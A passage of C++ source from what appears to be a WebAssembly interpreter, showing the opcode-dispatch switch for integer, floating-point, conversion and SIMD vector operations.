Opcode::I32Or: CHECK_TRAP(Binop(IntOr<uint32_t>)); break; case Opcode::I32Xor: CHECK_TRAP(Binop(IntXor<uint32_t>)); break; case Opcode::I32Shl: CHECK_TRAP(Binop(IntShl<uint32_t>)); break; case Opcode::I32ShrU: CHECK_TRAP(Binop(IntShr<uint32_t>)); break; case Opcode::I32ShrS: CHECK_TRAP(Binop(IntShr<int32_t>)); break; case Opcode::I32Eq: CHECK_TRAP(Binop(Eq<uint32_t>)); break; case Opcode::I32Ne: CHECK_TRAP(Binop(Ne<uint32_t>)); break; case Opcode::I32LtS: CHECK_TRAP(Binop(Lt<int32_t>)); break; case Opcode::I32LeS: CHECK_TRAP(Binop(Le<int32_t>)); break; case Opcode::I32LtU: CHECK_TRAP(Binop(Lt<uint32_t>)); break; case Opcode::I32LeU: CHECK_TRAP(Binop(Le<uint32_t>)); break; case Opcode::I32GtS: CHECK_TRAP(Binop(Gt<int32_t>)); break; case Opcode::I32GeS: CHECK_TRAP(Binop(Ge<int32_t>)); break; case Opcode::I32GtU: CHECK_TRAP(Binop(Gt<uint32_t>)); break; case Opcode::I32GeU: CHECK_TRAP(Binop(Ge<uint32_t>)); break; case Opcode::I32Clz: CHECK_TRAP(Push<uint32_t>(Clz(Pop<uint32_t>()))); break; case Opcode::I32Ctz: CHECK_TRAP(Push<uint32_t>(Ctz(Pop<uint32_t>()))); break; case Opcode::I32Popcnt: CHECK_TRAP(Push<uint32_t>(Popcount(Pop<uint32_t>()))); break; case Opcode::I32Eqz: CHECK_TRAP(Unop(IntEqz<uint32_t, uint32_t>)); break; case Opcode::I64Add: CHECK_TRAP(Binop(Add<uint64_t>)); break; case Opcode::I64Sub: CHECK_TRAP(Binop(Sub<uint64_t>)); break; case Opcode::I64Mul: CHECK_TRAP(Binop(Mul<uint64_t>)); break; case Opcode::I64DivS: CHECK_TRAP(BinopTrap(IntDivS<int64_t>)); break; case Opcode::I64DivU: CHECK_TRAP(BinopTrap(IntDivU<uint64_t>)); break; case Opcode::I64RemS: CHECK_TRAP(BinopTrap(IntRemS<int64_t>)); break; case Opcode::I64RemU: CHECK_TRAP(BinopTrap(IntRemU<uint64_t>)); break; case Opcode::I64And: CHECK_TRAP(Binop(IntAnd<uint64_t>)); break; case Opcode::I64Or: CHECK_TRAP(Binop(IntOr<uint64_t>)); break; case Opcode::I64Xor: CHECK_TRAP(Binop(IntXor<uint64_t>)); break; case Opcode::I64Shl: CHECK_TRAP(Binop(IntShl<uint64_t>)); break; case Opcode::I64ShrU: CHECK_TRAP(Binop(IntShr<uint64_t>)); break; case Opcode::I64ShrS: CHECK_TRAP(Binop(IntShr<int64_t>)); break; case Opcode::I64Eq: CHECK_TRAP(Binop(Eq<uint64_t>)); break; case Opcode::I64Ne: CHECK_TRAP(Binop(Ne<uint64_t>)); break; case Opcode::I64LtS: CHECK_TRAP(Binop(Lt<int64_t>)); break; case Opcode::I64LeS: CHECK_TRAP(Binop(Le<int64_t>)); break; case Opcode::I64LtU: CHECK_TRAP(Binop(Lt<uint64_t>)); break; case Opcode::I64LeU: CHECK_TRAP(Binop(Le<uint64_t>)); break; case Opcode::I64GtS: CHECK_TRAP(Binop(Gt<int64_t>)); break; case Opcode::I64GeS: CHECK_TRAP(Binop(Ge<int64_t>)); break; case Opcode::I64GtU: CHECK_TRAP(Binop(Gt<uint64_t>)); break; case Opcode::I64GeU: CHECK_TRAP(Binop(Ge<uint64_t>)); break; case Opcode::I64Clz: CHECK_TRAP(Push<uint64_t>(Clz(Pop<uint64_t>()))); break; case Opcode::I64Ctz: CHECK_TRAP(Push<uint64_t>(Ctz(Pop<uint64_t>()))); break; case Opcode::I64Popcnt: CHECK_TRAP(Push<uint64_t>(Popcount(Pop<uint64_t>()))); break; case Opcode::F32Add: CHECK_TRAP(Binop(Add<float>)); break; case Opcode::F32Sub: CHECK_TRAP(Binop(Sub<float>)); break; case Opcode::F32Mul: CHECK_TRAP(Binop(Mul<float>)); break; case Opcode::F32Div: CHECK_TRAP(Binop(FloatDiv<float>)); break; case Opcode::F32Min: CHECK_TRAP(Binop(FloatMin<float>)); break; case Opcode::F32Max: CHECK_TRAP(Binop(FloatMax<float>)); break; case Opcode::F32Abs: CHECK_TRAP(Unop(FloatAbs<float>)); break; case Opcode::F32Neg: CHECK_TRAP(Unop(FloatNeg<float>)); break; case Opcode::F32Copysign: CHECK_TRAP(Binop(FloatCopySign<float>)); break; case Opcode::F32Ceil: CHECK_TRAP(Unop(FloatCeil<float>)); break; case Opcode::F32Floor: CHECK_TRAP(Unop(FloatFloor<float>)); break; case Opcode::F32Trunc: CHECK_TRAP(Unop(FloatTrunc<float>)); break; case Opcode::F32Nearest: CHECK_TRAP(Unop(FloatNearest<float>)); break; case Opcode::F32Sqrt: CHECK_TRAP(Unop(FloatSqrt<float>)); break; case Opcode::F32Eq: CHECK_TRAP(Binop(Eq<float>)); break; case Opcode::F32Ne: CHECK_TRAP(Binop(Ne<float>)); break; case Opcode::F32Lt: CHECK_TRAP(Binop(Lt<float>)); break; case Opcode::F32Le: CHECK_TRAP(Binop(Le<float>)); break; case Opcode::F32Gt: CHECK_TRAP(Binop(Gt<float>)); break; case Opcode::F32Ge: CHECK_TRAP(Binop(Ge<float>)); break; case Opcode::F64Add: CHECK_TRAP(Binop(Add<double>)); break; case Opcode::F64Sub: CHECK_TRAP(Binop(Sub<double>)); break; case Opcode::F64Mul: CHECK_TRAP(Binop(Mul<double>)); break; case Opcode::F64Div: CHECK_TRAP(Binop(FloatDiv<double>)); break; case Opcode::F64Min: CHECK_TRAP(Binop(FloatMin<double>)); break; case Opcode::F64Max: CHECK_TRAP(Binop(FloatMax<double>)); break; case Opcode::F64Abs: CHECK_TRAP(Unop(FloatAbs<double>)); break; case Opcode::F64Neg: CHECK_TRAP(Unop(FloatNeg<double>)); break; case Opcode::F64Copysign: CHECK_TRAP(Binop(FloatCopySign<double>)); break; case Opcode::F64Ceil: CHECK_TRAP(Unop(FloatCeil<double>)); break; case Opcode::F64Floor: CHECK_TRAP(Unop(FloatFloor<double>)); break; case Opcode::F64Trunc: CHECK_TRAP(Unop(FloatTrunc<double>)); break; case Opcode::F64Nearest: CHECK_TRAP(Unop(FloatNearest<double>)); break; case Opcode::F64Sqrt: CHECK_TRAP(Unop(FloatSqrt<double>)); break; case Opcode::F64Eq: CHECK_TRAP(Binop(Eq<double>)); break; case Opcode::F64Ne: CHECK_TRAP(Binop(Ne<double>)); break; case Opcode::F64Lt: CHECK_TRAP(Binop(Lt<double>)); break; case Opcode::F64Le: CHECK_TRAP(Binop(Le<double>)); break; case Opcode::F64Gt: CHECK_TRAP(Binop(Gt<double>)); break; case Opcode::F64Ge: CHECK_TRAP(Binop(Ge<double>)); break; case Opcode::I32TruncF32S: CHECK_TRAP(UnopTrap(IntTrunc<int32_t, float>)); break; case Opcode::I32TruncSatF32S: CHECK_TRAP(Unop(IntTruncSat<int32_t, float>)); break; case Opcode::I32TruncF64S: CHECK_TRAP(UnopTrap(IntTrunc<int32_t, double>)); break; case Opcode::I32TruncSatF64S: CHECK_TRAP(Unop(IntTruncSat<int32_t, double>)); break; case Opcode::I32TruncF32U: CHECK_TRAP(UnopTrap(IntTrunc<uint32_t, float>)); break; case Opcode::I32TruncSatF32U: CHECK_TRAP(Unop(IntTruncSat<uint32_t, float>)); break; case Opcode::I32TruncF64U: CHECK_TRAP(UnopTrap(IntTrunc<uint32_t, double>)); break; case Opcode::I32TruncSatF64U: CHECK_TRAP(Unop(IntTruncSat<uint32_t, double>)); break; case Opcode::I32WrapI64: CHECK_TRAP(Push<uint32_t>(Pop<uint64_t>())); break; case Opcode::I64TruncF32S: CHECK_TRAP(UnopTrap(IntTrunc<int64_t, float>)); break; case Opcode::I64TruncSatF32S: CHECK_TRAP(Unop(IntTruncSat<int64_t, float>)); break; case Opcode::I64TruncF64S: CHECK_TRAP(UnopTrap(IntTrunc<int64_t, double>)); break; case Opcode::I64TruncSatF64S: CHECK_TRAP(Unop(IntTruncSat<int64_t, double>)); break; case Opcode::I64TruncF32U: CHECK_TRAP(UnopTrap(IntTrunc<uint64_t, float>)); break; case Opcode::I64TruncSatF32U: CHECK_TRAP(Unop(IntTruncSat<uint64_t, float>)); break; case Opcode::I64TruncF64U: CHECK_TRAP(UnopTrap(IntTrunc<uint64_t, double>)); break; case Opcode::I64TruncSatF64U: CHECK_TRAP(Unop(IntTruncSat<uint64_t, double>)); break; case Opcode::I64ExtendI32S: CHECK_TRAP(Push<uint64_t>(Pop<int32_t>())); break; case Opcode::I64ExtendI32U: CHECK_TRAP(Push<uint64_t>(Pop<uint32_t>())); break; case Opcode::F32ConvertI32S: CHECK_TRAP(Push<float>(Pop<int32_t>())); break; case Opcode::F32ConvertI32U: CHECK_TRAP(Push<float>(Pop<uint32_t>())); break; case Opcode::F32ConvertI64S: CHECK_TRAP(Push<float>(Pop<int64_t>())); break; case Opcode::F32ConvertI64U: CHECK_TRAP(Push<float>(wabt_convert_uint64_to_float(Pop<uint64_t>()))); break; case Opcode::F32DemoteF64: { typedef FloatTraits<float> F32Traits; typedef FloatTraits<double> F64Traits; uint64_t value = PopRep<double>(); if (WABT_LIKELY((IsConversionInRange<float, double>(value)))) { CHECK_TRAP(Push<float>(FromRep<double>(value))); } else if (IsInRangeF64DemoteF32RoundToF32Max(value)) { CHECK_TRAP(PushRep<float>(F32Traits::kMax)); } else if (IsInRangeF64DemoteF32RoundToNegF32Max(value)) { CHECK_TRAP(PushRep<float>(F32Traits::kNegMax)); } else { uint32_t sign = (value >> 32) & F32Traits::kSignMask; uint32_t tag = 0; if (F64Traits::IsNan(value)) { tag = F32Traits::kQuietNanBit | ((value >> (F64Traits::kSigBits - F32Traits::kSigBits)) & F32Traits::kSigMask); } CHECK_TRAP(PushRep<float>(sign | F32Traits::kInf | tag)); } break; } case Opcode::F32ReinterpretI32: CHECK_TRAP(PushRep<float>(Pop<uint32_t>())); break; case Opcode::F64ConvertI32S: CHECK_TRAP(Push<double>(Pop<int32_t>())); break; case Opcode::F64ConvertI32U: CHECK_TRAP(Push<double>(Pop<uint32_t>())); break; case Opcode::F64ConvertI64S: CHECK_TRAP(Push<double>(Pop<int64_t>())); break; case Opcode::F64ConvertI64U: CHECK_TRAP( Push<double>(wabt_convert_uint64_to_double(Pop<uint64_t>()))); break; case Opcode::F64PromoteF32: CHECK_TRAP(Push<double>(Pop<float>())); break; case Opcode::F64ReinterpretI64: CHECK_TRAP(PushRep<double>(Pop<uint64_t>())); break; case Opcode::I32ReinterpretF32: CHECK_TRAP(Push<uint32_t>(PopRep<float>())); break; case Opcode::I64ReinterpretF64: CHECK_TRAP(Push<uint64_t>(PopRep<double>())); break; case Opcode::I32Rotr: CHECK_TRAP(Binop(IntRotr<uint32_t>)); break; case Opcode::I32Rotl: CHECK_TRAP(Binop(IntRotl<uint32_t>)); break; case Opcode::I64Rotr: CHECK_TRAP(Binop(IntRotr<uint64_t>)); break; case Opcode::I64Rotl: CHECK_TRAP(Binop(IntRotl<uint64_t>)); break; case Opcode::I64Eqz: CHECK_TRAP(Unop(IntEqz<uint32_t, uint64_t>)); break; case Opcode::I32Extend8S: CHECK_TRAP(Unop(IntExtendS<uint32_t, int8_t>)); break; case Opcode::I32Extend16S: CHECK_TRAP(Unop(IntExtendS<uint32_t, int16_t>)); break; case Opcode::I64Extend8S: CHECK_TRAP(Unop(IntExtendS<uint64_t, int8_t>)); break; case Opcode::I64Extend16S: CHECK_TRAP(Unop(IntExtendS<uint64_t, int16_t>)); break; case Opcode::I64Extend32S: CHECK_TRAP(Unop(IntExtendS<uint64_t, int32_t>)); break; case Opcode::InterpAlloca: { uint32_t old_value_stack_top = value_stack_top_; size_t count = ReadU32(&pc); value_stack_top_ += count; CHECK_STACK(); memset(&value_stack_[old_value_stack_top], 0, count * sizeof(Value)); break; } case Opcode::InterpBrUnless: { IstreamOffset new_pc = ReadU32(&pc); if (!Pop<uint32_t>()) { GOTO(new_pc); } break; } case Opcode::Drop: (void)Pop(); break; case Opcode::InterpDropKeep: { uint32_t drop_count = ReadU32(&pc); uint32_t keep_count = ReadU32(&pc); DropKeep(drop_count, keep_count); break; } case Opcode::Nop: break; case Opcode::I32AtomicWait: case Opcode::I64AtomicWait: case Opcode::AtomicNotify: // TODO(binji): Implement. TRAP(Unreachable); break; case Opcode::V128Const: { CHECK_TRAP(PushRep<v128>(ReadV128(&pc))); break; } case Opcode::V128Load: CHECK_TRAP(Load<v128>(&pc)); break; case Opcode::V128Store: CHECK_TRAP(Store<v128>(&pc)); break; case Opcode::I8X16Splat: { uint8_t lane_data = Pop<uint32_t>(); CHECK_TRAP(Push<v128>(SimdSplat<v128, uint8_t>(lane_data))); break; } case Opcode::I16X8Splat: { uint16_t lane_data = Pop<uint32_t>(); CHECK_TRAP(Push<v128>(SimdSplat<v128, uint16_t>(lane_data))); break; } case Opcode::I32X4Splat: { uint32_t lane_data = Pop<uint32_t>(); CHECK_TRAP(Push<v128>(SimdSplat<v128, uint32_t>(lane_data))); break; } case Opcode::I64X2Splat: { uint64_t lane_data = Pop<uint64_t>(); CHECK_TRAP(Push<v128>(SimdSplat<v128, uint64_t>(lane_data))); break; } case Opcode::F32X4Splat: { float lane_data = Pop<float>(); CHECK_TRAP(Push<v128>(SimdSplat<v128, float>(lane_data))); break; } case Opcode::F64X2Splat: { double lane_data = Pop<double>(); CHECK_TRAP(Push<v128>(SimdSplat<v128, double>(lane_data))); break; } case Opcode::I8X16ExtractLaneS: { v128 lane_val = static_cast<v128>(Pop<v128>()); uint32_t lane_idx = ReadU8(&pc); CHECK_TRAP(PushRep<int32_t>( SimdExtractLane<int32_t, v128, int8_t>(lane_val, lane_idx))); break; } case Opcode::I8X16ExtractLaneU: { v128 lane_val = static_cast<v128>(Pop<v128>()); uint32_t lane_idx = ReadU8(&pc); CHECK_TRAP(PushRep<int32_t>( SimdExtractLane<int32_t, v128, uint8_t>(lane_val, lane_idx))); break; } case Opcode::I16X8ExtractLaneS: { v128 lane_val = static_cast<v128>(Pop<v128>()); uint32_t lane_idx = ReadU8(&pc); CHECK_TRAP(PushRep<int32_t>( SimdExtractLane<int32_t, v128, int16_t>(lane_val, lane_idx))); break; } case Opcode::I16X8ExtractLaneU: { v128 lane_val = static_cast<v128>(Pop<v128>()); uint32_t lane_idx = ReadU8(&pc); CHECK_TRAP(PushRep<int32_t>( SimdExtractLane<int32_t, v128, uint16_t>(lane_val, lane_idx))); break; } case Opcode::I32X4ExtractLane: { v128 lane_val = static_cast<v128>(Pop<v128>()); uint32_t lane_idx = ReadU8(&pc); CHECK_TRAP(PushRep<int32_t>( SimdExtractLane<int32_t, v128, int32_t>(lane_val, lane_idx))); break; } case Opcode::I64X2ExtractLane: { v128 lane_val = static_cast<v128>(Pop<v128>()); uint32_t lane_idx = ReadU8(&pc); CHECK_TRAP(PushRep<int64_t>( SimdExtractLane<int64_t, v128, int64_t>(lane_val, lane_idx))); break; } case Opcode::F32X4ExtractLane: { v128 lane_val = static_cast<v128>(Pop<v128>()); uint32_t lane_idx = ReadU8(&pc); CHECK_TRAP(PushRep<float>( SimdExtractLane<int32_t, v128, int32_t>(lane_val, lane_idx))); break; } case Opcode::F64X2ExtractLane: { v128 lane_val = static_cast<v128>(Pop<v128>()); uint32_t lane_idx = ReadU8(&pc); CHECK_TRAP(PushRep<double>( SimdExtractLane<int64_t, v128, int64_t>(lane_val, lane_idx))); break; } case Opcode::I8X16ReplaceLane: { int8_t lane_val = static_cast<int8_t>(Pop<int32_t>()); v128 value = static_cast<v128>(Pop<v128>()); uint32_t lane_idx = ReadU8(&pc); CHECK_TRAP(Push<v128>( SimdReplaceLane<v128, v128, int8_t>(value, lane_idx, lane_val))); break; } case Opcode::I16X8ReplaceLane: { int16_t lane_val = static_cast<int16_t>(Pop<int32_t>()); v128 value = static_cast<v128>(Pop<v128>()); uint32_t lane_idx = ReadU8(&pc); CHECK_TRAP(Push<v128>( SimdReplaceLane<v128, v128, int16_t>(value, lane_idx, lane_val))); break; } case Opcode::I32X4ReplaceLane: { int32_t lane_val = Pop<int32_t>(); v128 value = static_cast<v128>(Pop<v128>()); uint32_t lane_idx = ReadU8(&pc); CHECK_TRAP(Push<v128>( SimdReplaceLane<v128, v128, int32_t>(value, lane_idx, lane_val))); break; } case Opcode::I64X2ReplaceLane: { int64_t lane_val = Pop<int64_t>(); v128 value = static_cast<v128>(Pop<v128>()); uint32_t lane_idx = ReadU8(&pc); CHECK_TRAP(Push<v128>( SimdReplaceLane<v128, v128, int64_t>(value, lane_idx, lane_val))); break; } case Opcode::F32X4ReplaceLane: { float lane_val = Pop<float>(); v128 value = static_cast<v128>(Pop<v128>()); uint32_t lane_idx = ReadU8(&pc); CHECK_TRAP(Push<v128>( SimdReplaceLane<v128, v128, float>(value, lane_idx, lane_val))); break; } case Opcode::F64X2ReplaceLane: { double lane_val = Pop<double>(); v128 value = static_cast<v128>(Pop<v128>()); uint32_t lane_idx = ReadU8(&pc); CHECK_TRAP(Push<v128>( SimdReplaceLane<v128, v128, double>(value, lane_idx, lane_val))); break; } case Opcode::V8X16Shuffle: { const int32_t lanes = 16; // Define SIMD data array for Simd add by Lanes. int8_t simd_data_ret[lanes]; int8_t simd_data_0[lanes]; int8_t simd_data_1[lanes]; int8_t simd_shuffle[lanes]; v128 v2 = PopRep<v128>(); v128 v1 = PopRep<v128>(); v128 shuffle_imm = ReadV128(&pc); // Convert intput SIMD data to array. memcpy(simd_data_0, &v1, sizeof(v128)); memcpy(simd_data_1, &v2, sizeof(v128)); memcpy(simd_shuffle, &shuffle_imm, sizeof(v128)); // Constuct the Simd value by Lane data and Lane nums. for (int32_t i = 0; i < lanes; i++) { int8_t lane_idx = simd_shuffle[i]; simd_data_ret[i] = (lane_idx < lanes) ? simd_data_0[lane_idx] : simd_data_1[lane_idx - lanes]; } CHECK_TRAP(PushRep<v128>(Bitcast<v128>(simd_data_ret))); break; } case Opcode::I8X16Add: CHECK_TRAP(SimdBinop<v128, uint8_t>(Add<uint32_t>)); break; case Opcode::I16X8Add: CHECK_TRAP(SimdBinop<v128, uint16_t>(Add<uint32_t>)); break; case Opcode::I32X4Add: CHECK_TRAP(SimdBinop<v128, uint32_t>(Add<uint32_t>)); break; case Opcode::I64X2Add: CHECK_TRAP(SimdBinop<v128, uint64_t>(Add<uint64_t>)); break; case Opcode::I8X16Sub: CHECK_TRAP(SimdBinop<v128, uint8_t>(Sub<uint32_t>)); break; case Opcode::I16X8Sub: CHECK_TRAP(SimdBinop<v128, uint16_t>(Sub<uint32_t>)); break; case Opcode::I32X4Sub: CHECK_TRAP(SimdBinop<v128, uint32_t>(Sub<uint32_t>)); break; case Opcode::I64X2Sub: CHECK_TRAP(SimdBinop<v128, uint64_t>(Sub<uint64_t>)); break; case Opcode::I8X16Mul: CHECK_TRAP(SimdBinop<v128, uint8_t>(Mul<uint32_t>)); break; case Opcode::I16X8Mul: CHECK_TRAP(SimdBinop<v128, uint16_t>(Mul<uint32_t>)); break; case Opcode::I32X4Mul: CHECK_TRAP(SimdBinop<v128, uint32_t>(Mul<uint32_t>)); break; case Opcode::I8X16Neg: CHECK_TRAP(SimdUnop<v128, int8_t>(IntNeg<int32_t>)); break; case Opcode::I16X8Neg: CHECK_TRAP(SimdUnop<v128, int16_t>(IntNeg<int32_t>)); break; case Opcode::I32X4Neg: CHECK_TRAP(SimdUnop<v128, int32_t>(IntNeg<int32_t>)); break; case Opcode::I64X2Neg: CHECK_TRAP(SimdUnop<v128, int64_t>(IntNeg<int64_t>)); break; case Opcode::I8X16AddSaturateS: CHECK_TRAP(SimdBinop<v128, int8_t>(AddSaturate<int32_t, int8_t>)); break; case Opcode::I8X16AddSaturateU: CHECK_TRAP(SimdBinop<v128, uint8_t>(AddSaturate<uint32_t, uint8_t>)); break; case Opcode::I16X8AddSaturateS: CHECK_TRAP(SimdBinop<v128, int16_t>(AddSaturate<int32_t, int16_t>)); break; case Opcode::I16X8AddSaturateU: CHECK_TRAP(SimdBinop<v128, uint16_t>(AddSaturate<uint32_t, uint16_t>)); break; case Opcode::I8X16SubSaturateS: CHECK_TRAP(SimdBinop<v128, int8_t>(SubSaturate<int32_t, int8_t>)); break; case Opcode::I8X16SubSaturateU: CHECK_TRAP(SimdBinop<v128, uint8_t>(SubSaturate<int32_t, uint8_t>)); break; case Opcode::I16X8SubSaturateS: CHECK_TRAP(SimdBinop<v128, int16_t>(SubSaturate<int32_t, int16_t>)); break; case Opcode::I16X8SubSaturateU: CHECK_TRAP(SimdBinop<v128, uint16_t>(SubSaturate<int32_t, uint16_t>)); break; case Opcode::I8X16Shl: { uint32_t shift_count = Pop<uint32_t>(); shift_count = shift_count % 8; CHECK_TRAP(Push<v128>(SimdSplat<v128, uint8_t>(shift_count))); CHECK_TRAP(SimdBinop<v128, uint8_t>(IntShl<uint32_t>)); break; } case Opcode::I16X8Shl: { uint32_t shift_count = Pop<uint32_t>(); shift_count = shift_count % 16; CHECK_TRAP(Push<v128>(SimdSplat<v128, uint16_t>(shift_count))); CHECK_TRAP(SimdBinop<v128, uint16_t>(IntShl<uint32_t>)); break; } case Opcode::I32X4Shl: { uint32_t shift_count = Pop<uint32_t>(); shift_count = shift_count % 32; CHECK_TRAP(Push<v128>(SimdSplat<v128, uint32_t>(shift_count))); CHECK_TRAP(SimdBinop<v128, uint32_t>(IntShl<uint32_t>)); break; } case Opcode::I64X2Shl: { uint32_t shift_count = Pop<uint32_t>(); shift_count = shift_count % 64; CHECK_TRAP(Push<v128>(SimdSplat<v128, uint64_t>(shift_count))); CHECK_TRAP(SimdBinop<v128, uint64_t>(IntShl<uint64_t>)); break; } case Opcode::I8X16ShrS: { uint32_t shift_count = Pop<uint32_t>(); shift_count = shift_count % 8; CHECK_TRAP(Push<v128>(SimdSplat<v128, uint8_t>(shift_count))); CHECK_TRAP(SimdBinop<v128, int8_t>(IntShr<int32_t>)); break; } case Opcode::I8X16ShrU: { uint32_t shift_count = Pop<uint32_t>(); shift_count = shift_count % 8; CHECK_TRAP(Push<v128>(SimdSplat<v128, uint8_t>(shift_count))); CHECK_TRAP(SimdBinop<v128, uint8_t>(IntShr<uint32_t>)); break; } case Opcode::I16X8ShrS: { uint32_t shift_count = Pop<uint32_t>(); shift_count = shift_count % 16; CHECK_TRAP(Push<v128>(SimdSplat<v128, uint16_t>(shift_count))); CHECK_TRAP(SimdBinop<v128, int16_t>(IntShr<int32_t>)); break; } case Opcode::I16X8ShrU: { uint32_t shift_count = Pop<uint32_t>(); shift_count = shift_count % 16; CHECK_TRAP(Push<v128>(SimdSplat<v128, uint16_t>(shift_count))); CHECK_TRAP(SimdBinop<v128, uint16_t>(IntShr<uint32_t>)); break; } case Opcode::I32X4ShrS: { uint32_t shift_count = Pop<uint32_t>(); shift_count = shift_count % 32; CHECK_TRAP(Push<v128>(SimdSplat<v128, uint32_t>(shift_count))); CHECK_TRAP(SimdBinop<v128, int32_t>(IntShr<int32_t>)); break; } case Opcode::I32X4ShrU: { uint32_t shift_count = Pop<uint32_t>(); shift_count = shift_count % 32; CHECK_TRAP(Push<v128>(SimdSplat<v128, uint32_t>(shift_count))); CHECK_TRAP(SimdBinop<v128, uint32_t>(IntShr<uint32_t>)); break; } case Opcode::I64X2ShrS: { uint32_t shift_count = Pop<uint32_t>(); shift_count = shift_count % 64; CHECK_TRAP(Push<v128>(SimdSplat<v128, uint64_t>(shift_count))); CHECK_TRAP(SimdBinop<v128, int64_t>(IntShr<int64_t>)); break; } case Opcode::I64X2ShrU: { uint32_t shift_count = Pop<uint32_t>(); shift_count = shift_count % 64; CHECK_TRAP(Push<v128>(SimdSplat<v128, uint64_t>(shift_count))); CHECK_TRAP(SimdBinop<v128, uint64_t>(IntShr<uint64_t>)); break; } case Opcode::V128And: CHECK_TRAP(SimdBinop<v128, uint64_t>(IntAnd<uint64_t>)); break; case Opcode::V128Or: CHECK_TRAP(SimdBinop<v128, uint64_t>(IntOr<uint64_t>)); break; case Opcode::V128Xor: CHECK_TRAP(SimdBinop<v128, uint64_t>(IntXor<uint64_t>)); break; case Opcode::V128Not: CHECK_TRAP(SimdUnop<v128, uint64_t>(IntNot<uint64_t>)); break; case Opcode::V128BitSelect: { // Follow Wasm Simd spec to compute V128BitSelect: // v128.or(v128.and(v1, c), v128.and(v2, v128.not(c))) v128 c_mask = PopRep<v128>(); v128 v2 = PopRep<v128>(); v128 v1 = PopRep<v128>(); // 1. v128.and(v1, c) CHECK_TRAP(Push<v128>(v1)); CHECK_TRAP(Push<v128>(c_mask)); CHECK_TRAP(SimdBinop<v128, uint64_t>(IntAnd<uint64_t>)); // 2. v128.and(v2, v128.not(c)) CHECK_TRAP(Push<v128>(v2)); CHECK_TRAP(Push<v128>(c_mask)); CHECK_TRAP(SimdUnop<v128, uint64_t>(IntNot<uint64_t>)); CHECK_TRAP(SimdBinop<v128, uint64_t>(IntAnd<uint64_t>)); // 3. v128.or( 1 , 2) CHECK_TRAP(SimdBinop<v128, uint64_t>(IntOr<uint64_t>)); break; } case Opcode::I8X16AnyTrue: { v128 value = PopRep<v128>(); CHECK_TRAP(Push<int32_t>(SimdIsLaneTrue<v128, uint8_t>(value, 1))); break; } case Opcode::I16X8AnyTrue: { v128 value = PopRep<v128>(); CHECK_TRAP(Push<int32_t>(SimdIsLaneTrue<v128, uint16_t>(value, 1))); break; } case Opcode::I32X4AnyTrue: { v128 value = PopRep<v128>(); CHECK_TRAP(Push<int32_t>(SimdIsLaneTrue<v128, uint32_t>(value, 1))); break; } case Opcode::I64X2AnyTrue: { v128 value = PopRep<v128>(); CHECK_TRAP(Push<int32_t>(SimdIsLaneTrue<v128, uint64_t>(value, 1))); break; } case Opcode::I8X16AllTrue: { v128 value = PopRep<v128>(); CHECK_TRAP(Push<int32_t>(SimdIsLaneTrue<v128, uint8_t>(value, 16))); break; } case Opcode::I16X8AllTrue: { v128 value = PopRep<v128>(); CHECK_TRAP(Push<int32_t>(SimdIsLaneTrue<v128, uint16_t>(value, 8))); break; } case Opcode::I32X4AllTrue: { v128 value = PopRep<v128>(); CHECK_TRAP(Push<int32_t>(SimdIsLaneTrue<v128, uint32_t>(value, 4))); break; } case Opcode::I64X2AllTrue: { v128 value = PopRep<v128>(); CHECK_TRAP(Push<int32_t>(SimdIsLaneTrue<v128, uint64_t>(value, 2))); break; } case Opcode::I8X16Eq: CHECK_TRAP(SimdBinop<v128, int8_t>(Eq<int32_t>)); break; case Opcode::I16X8Eq: CHECK_TRAP(SimdBinop<v128, int16_t>(Eq<int32_t>)); break; case Opcode::I32X4Eq: CHECK_TRAP(SimdBinop<v128, int32_t>(Eq<int32_t>)); break; case Opcode::F32X4Eq: CHECK_TRAP(SimdBinop<v128, int32_t>(Eq<float>)); break; case Opcode::F64X2Eq: CHECK_TRAP(SimdBinop<v128, int64_t>(Eq<double>)); break; case Opcode::I8X16Ne: CHECK_TRAP(SimdBinop<v128, int8_t>(Ne<int32_t>)); break; case Opcode::I16X8Ne: CHECK_TRAP(SimdBinop<v128, int16_t>(Ne<int32_t>)); break; case Opcode::I32X4Ne: CHECK_TRAP(SimdBinop<v128, int32_t>(Ne<int32_t>)); break; case Opcode::F32X4Ne: CHECK_TRAP(SimdBinop<v128, int32_t>(Ne<float>)); break; case Opcode::F64X2Ne: CHECK_TRAP(SimdBinop<v128, int64_t>(Ne<double>)); break; case Opcode::I8X16LtS: CHECK_TRAP(SimdBinop<v128, int8_t>(Lt<int32_t>)); break; case Opcode::I8X16LtU: CHECK_TRAP(SimdBinop<v128, uint8_t>(Lt<uint32_t>)); break; case Opcode::I16X8LtS: CHECK_TRAP(SimdBinop<v128, int16_t>(Lt<int32_t>)); break; case Opcode::I16X8LtU: CHECK_TRAP(SimdBinop<v128, uint16_t>(Lt<uint32_t>)); break; case Opcode::I32X4LtS: CHECK_TRAP(SimdBinop<v128, int32_t>(Lt<int32_t>)); break; case Opcode::I32X4LtU: CHECK_TRAP(SimdBinop<v128, uint32_t>(Lt<uint32_t>)); break; case Opcode::F32X4Lt: CHECK_TRAP(SimdBinop<v128, int32_t>(Lt<float>)); break; case Opcode::F64X2Lt: CHECK_TRAP(SimdBinop<v128, int64_t>(Lt<double>)); break; case Opcode::I8X16LeS: CHECK_TRAP(SimdBinop<v128, int8_t>(Le<int32_t>)); break; case Opcode::I8X16LeU: CHECK_TRAP(SimdBinop<v128, uint8_t>(Le<uint32_t>)); break; case Opcode::I16X8LeS: CHECK_TRAP(SimdBinop<v128, int16_t>(Le<int32_t>)); break; case Opcode::I16X8LeU: CHECK_TRAP(SimdBinop<v128, uint16_t>(Le<uint32_t>)); break; case Opcode::I32X4LeS: CHECK_TRAP(SimdBinop<v128, int32_t>(Le<int32_t>)); break; case Opcode::I32X4LeU: CHECK_TRAP(SimdBinop<v128, uint32_t>(Le<uint32_t>)); break; case Opcode::F32X4Le: CHECK_TRAP(SimdBinop<v128, int32_t>(Le<float>)); break; case Opcode::F64X2Le: CHECK_TRAP(SimdBinop<v128, int64_t>(Le<double>)); break; case Opcode::I8X16GtS: CHECK_TRAP(SimdBinop<v128, int8_t>(Gt<int32_t>)); break; case Opcode::I8X16GtU: CHECK_TRAP(SimdBinop<v128, uint8_t>(Gt<uint32_t>)); break; case Opcode::I16X8GtS: CHECK_TRAP(SimdBinop<v128, int16_t>(Gt<int32_t>)); break; case Opcode::I16X8GtU: CHECK_TRAP(SimdBinop<v128, uint16_t>(Gt<uint32_t>)); break; case Opcode::I32X4GtS: CHECK_TRAP(SimdBinop<v128, int32_t>(Gt<int32_t>)); break; case Opcode::I32X4GtU: CHECK_TRAP(SimdBinop<v128, uint32_t>(Gt<uint32_t>)); break; case Opcode::F32X4Gt: 